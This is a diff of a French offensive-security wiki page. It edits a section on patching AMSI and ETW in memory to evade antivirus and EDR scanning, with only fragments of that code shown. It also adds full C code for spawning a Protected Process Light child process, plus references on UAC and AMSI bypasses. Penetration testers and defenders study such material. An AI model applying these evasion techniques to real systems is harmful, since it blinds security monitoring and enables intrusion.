@@ -114,7 +114,7 @@ if (dupToken) CloseHandle(dupToken);
 return 0;
 }
 ```
-Pour une explication plus approfondie de son fonctionnement, voir :
+Pour une explication plus approfondie de la façon dont cela fonctionne, voir :
 
 {{#ref}}
 sedebug-+-seimpersonate-copy-token.md
@@ -122,8 +122,8 @@ sedebug-+-seimpersonate-copy-token.md
 
 ---
 
-## Patch AMSI & ETW en mémoire (Évasion de défense)
-La plupart des moteurs AV/EDR modernes s'appuient sur **AMSI** et **ETW** pour inspecter les comportements malveillants. Patchant les deux interfaces tôt dans le processus actuel, cela empêche les charges utiles basées sur des scripts (par exemple, PowerShell, JScript) d'être scannées.
+## In-Memory AMSI & ETW Patch (Defence Evasion)
+La plupart des moteurs AV/EDR modernes s'appuient sur **AMSI** et **ETW** pour inspecter les comportements malveillants. Le patch des deux interfaces tôt dans le processus en cours empêche les script-based payloads (par exemple PowerShell, JScript) d'être analysés.
 ```c
 // gcc -o patch_amsi.exe patch_amsi.c -lntdll
 #define _CRT_SECURE_NO_WARNINGS
@@ -150,12 +150,56 @@ MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
 return 0;
 }
 ```
-*Le correctif ci-dessus est local au processus ; le lancement d'un nouveau PowerShell après l'avoir exécuté se fera sans inspection AMSI/ETW.*
+*Le patch ci‑dessus est local au processus ; lancer un nouveau PowerShell après l'avoir exécuté s'exécutera sans inspection par AMSI/ETW.*
+
+---
+
+## Créer un processus enfant en tant que Protected Process Light (PPL)
+Demandez un niveau de protection PPL pour un processus enfant au moment de sa création en utilisant `STARTUPINFOEX` + `PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL`. Il s'agit d'une API documentée et elle ne réussira que si l'image cible est signée pour la classe de signataire demandée (Windows/WindowsLight/Antimalware/LSA/WinTcb).
+```c
+// x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c
+#include <windows.h>
+
+int wmain(void) {
+STARTUPINFOEXW si = {0};
+PROCESS_INFORMATION pi = {0};
+si.StartupInfo.cb = sizeof(si);
+
+SIZE_T attrSize = 0;
+InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
+si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
+InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
+
+DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level
+UpdateProcThreadAttribute(si.lpAttributeList, 0,
+PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
+&lvl, sizeof(lvl), NULL, NULL);
+
+if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE,
+EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
+// likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level
+return 1;
+}
+DeleteProcThreadAttributeList(si.lpAttributeList);
+HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
+CloseHandle(pi.hThread);
+CloseHandle(pi.hProcess);
+return 0;
+}
+```
+Niveaux utilisés le plus couramment :
+- `PROTECTION_LEVEL_WINDOWS_LIGHT` (2)
+- `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` (3)
+- `PROTECTION_LEVEL_LSA_LIGHT` (4)
+
+Validez le résultat avec Process Explorer/Process Hacker en vérifiant la colonne Protection.
 
 ---
 
 ## Références
 * Ron Bowes – “Fodhelper UAC Bypass Deep Dive” (2024)
 * SplinterCode – “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023)
+* CreateProcessAsPPL – lanceur de processus PPL minimal: https://github.com/2x7EQ13/CreateProcessAsPPL
+* Microsoft Docs – STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute
 
 {{#include ../../banners/hacktricks-training.md}}